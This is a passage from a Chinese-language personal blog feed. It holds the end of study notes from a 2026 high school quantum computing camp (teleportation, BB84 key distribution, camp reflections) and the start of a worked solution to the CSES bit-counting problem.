style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>其他三種情形也可簡易驗證。</p><blockquote><p>這裡的操作其實和前面的 Superdense coding 很像，都是 CNOT 跟 CZ 在操作</p></blockquote><blockquote><p>常見問題：這有違反「不可複製原理」嗎？<br>答：沒有，複製是我有一個原本的東西，然後又有一個複製出來的東西。這裡因為測量已經破壞掉原本那顆了，所以不算。</p></blockquote><h2 id="qkd---bb84" tabindex="-1" id="QKD-BB84">QKD - BB84</h2><blockquote><p>BB84 只是其中一種 QKD 協議，似乎還有 B92、E91 之類的東西</p></blockquote><p>這個協議不但能安全的約定出一次性密碼，還可以偵測出有沒有監聽者！</p><p>我想偷懶，所以我查到這篇文寫的還不錯所以就看他吧XD</p><p><a href="https://kelispinor.medium.com/%E9%87%8F%E5%AD%90%E5%8A%A0%E5%AF%86%E6%8A%80%E8%A1%93%E6%A5%B5%E7%B0%A1%E4%BB%8B-qkd-quantum-key-distribution-a795a470ff83">量子加密技術極簡介 (QKD-Quantum Key Distribution)</a></p><p>這裡要補充的只有他們可以拿部分的 bits 來抓監聽者，剩下的再當 key，因為抓監聽者需要交換 Alice 和 Bob 各自算出的 Key，有洩漏 key 的風險。比如他們發 1000 個 bits，平均而言應該會有 500 個是可用的，他們就能約定好拿前 100 個用來抓有沒有監聽者，剩下的 400 個才當 key。大概是這樣的概念:)</p><h1 id="%E5%85%B6%E4%BB%96" tabindex="-1">其他</h1><h2 id="%E8%90%AC%E7%89%A9%E6%80%8E%E9%BA%BC%E4%BE%86" tabindex="-1" id="萬物怎麼來">萬物怎麼來</h2><p><img src="everything.jpg" alt="萬物怎麼來"></p><blockquote><p>是說，「道元」是什麼？那是教授對 Token 的翻譯。他說他想了三天三夜，突然想到「象形文字」是基本單元，所以想翻譯成「象元」，然後一查發現這個詞只被用在老子象元篇。再想一想覺得「道元」比較好。</p></blockquote><h2 id="%E9%87%8F%E5%AD%90%E7%9B%B8%E9%97%9C%E6%B4%BB%E5%8B%95" tabindex="-1" id="量子相關活動">量子相關活動</h2><table><thead><tr><th>活動</th><th>大約的時間</th></tr></thead><tbody><tr><td>TAQCIT 年會</td><td>八月</td></tr><tr><td>高中量子計算暑期營</td><td>七月</td></tr><tr><td>高中種子教師培訓</td><td>七或八月</td></tr><tr><td>量子黑客松</td><td>八月</td></tr><tr><td>Semicon Taiwan</td><td>九月</td></tr><tr><td>QRACON 學生量子電腦年會</td><td>今年在十二月</td></tr></tbody></table><h2 id="%E8%83%BD%E9%87%8F%E3%80%81%E8%B3%87%E8%A8%8A%E3%80%81%E7%89%A9%E8%B3%AA" tabindex="-1" id="能量、資訊、物質">能量、資訊、物質</h2><p>能量、物質能互通；能量、資訊能互通，那物質跟資訊呢？<br><img src="2026-07-18-19-49-50.png" alt="能量、物質、資訊"></p><blockquote><p>我懶得再重新製圖XD</p></blockquote><h1 id="%E5%BE%8C%E8%A8%98" tabindex="-1">後記</h1><p>參加這個課程受益良多啊，其中一點是讓我找回念物理跟數學的熱忱XD<br>值得注意的是許多教授在講課時都能感受到他們對這些東西的熱情，也上的很活潑生動，<s>一直亂 cue 人</s><br>我除了下課跑去找教授練肖維(笑死某個教授一直洗腦(?催眠(?說服(?大家去念物理系w)，還認識了兩個附中高二的新朋友每天放學聊天！<br>btw 午休 2 小時真的好爽啊XD 星期五我無聊繞進次震宇宙館，感覺還是像之前一樣震撼:D</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/19/%E5%9F%BA%E7%A4%8E%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95%E8%88%87%E6%87%89%E7%94%A8-2026-%E9%AB%98%E4%B8%AD%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E6%9A%91%E6%9C%9F%E7%87%9F%E7%AD%86%E8%A8%98/</id>
    <link href="https://r3xdj.pages.dev/2026/07/19/%E5%9F%BA%E7%A4%8E%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95%E8%88%87%E6%87%89%E7%94%A8-2026-%E9%AB%98%E4%B8%AD%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E6%9A%91%E6%9C%9F%E7%87%9F%E7%AD%86%E8%A8%98/"/>
    <published>2026-07-19T07:48:53.000Z</published>
    <summary>A comprehensive study note from the 2026 High School Quantum Computing Summer Camp. Covering quantum mechanics postulates, Schrodinger equation derivation, and step-by-step analysis of key quantum algorithms (Deutsch, Grover) and communication protocols with circuit maze visualizations.</summary>
    <title>基礎量子演算法與應用 | 2026 高中量子計算暑期營筆記</title>
    <updated>2026-07-19T07:48:53.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Bitwise Operations" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Bitwise-Operations/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="bits" scheme="https://r3xdj.pages.dev/tags/bits/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><p>題目見網址：<a href="https://cses.fi/problemset/task/1146/">https://cses.fi/problemset/task/1146/</a><br>我懶得複製過來了XD<br>簡單來說就是輸入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，要問 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 中的所有正整數寫成二進位之後總共有幾個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。<br>其實這是排列組合那邊的經典問題，只是數學課我們是直接在十進位算。</p><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E6%86%B6%E8%B5%B7%E9%AB%98%E4%B8%AD%E6%95%B8%E5%AD%B8" tabindex="-1" id="憶起高中數學">憶起高中數學</h2><p>回想一下高中排列組合的某個問題：</p><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>999</mn></mrow><annotation encoding="application/x-tex">999</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">999</span></span></span></span> 中共有多少個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>？</p></blockquote><p>有兩種解法，一種是分別算個位數、十位數、百位數有多少 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>，但有另一種比較快的看法(機率觀點)：<br>我們要找的相當於</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>000</mn><mo separator="true">,</mo><mn>001</mn><mo separator="true">,</mo><mn>002</mn><mo separator="true">,</mo><mn>003</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>999</mn></mrow><annotation encoding="application/x-tex">000, 001, 002, 003, \dots, 999</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">001</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">002</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">003</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">999</span></span></span></span></span></p><p>中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的個數，裡面總共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>×</mo><mn>1000</mn><mo>=</mo><mn>3000</mn></mrow><annotation encoding="application/x-tex">3\times1000=3000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3000</span></span></span></span> 個「<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 的數字」，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>9</mn></mrow><annotation encoding="application/x-tex">9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 出現機率相同，所以所求即為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>3000</mn><mo>×</mo><mfrac><mn>1</mn><mn>10</mn></mfrac><mo>=</mo><mn>300</mn></mrow><annotation encoding="application/x-tex">3000\times\frac{1}{10}=300</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">10</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">300</span></span></span></span></span></p><h2 id="%E7%B4%B0%E8%AA%AA%E6%9C%AC%E9%A1%8C" tabindex="-1" id="細說本題">細說本題</h2><p>接著就只是十進位轉成二進位而已，我們採取的策略是先找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup><mo>−</mo><mn>1</mn><mo>≤</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">2^k - 1 \leq n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 的最大的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>，然後 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^k - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>×</mo><msup><mn>2</mn><mi>k</mi></msup><mo>×</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">k\times2^k\times\frac12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。剩下再考慮 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 有多少數字 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 即可。<br>這樣能快速地把大量數字算完。接著，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 中每個數字的(二進位表示)最高位都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，而且最高位是第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 位，總共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><msup><mn>2</mn><mi>k</mi></msup><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-2^k+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。再來我們將這幾個數字最高位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 都拔掉，我們要再計算剩下的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 總共有多少。</p><p>在繼續說明之前，我們先舉個例子比較清楚，以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>14</mn><mo>=</mo><msub><mn>1110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">n=14=1110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">14</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">111</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 為例：<br>第一步驟解決掉 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，共有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>×</mo><msup><mn>2</mn><mn>3</mn></msup><mo>×</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">3\times 2^3\times\frac12=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span> 個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span><br>接著我們要找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>1000</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1001</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1010</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1011</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1100</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1101</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>1110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">1000_2, 1001_2, 1010_2, 1011_2, 1100_2, 1101_2, 1110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 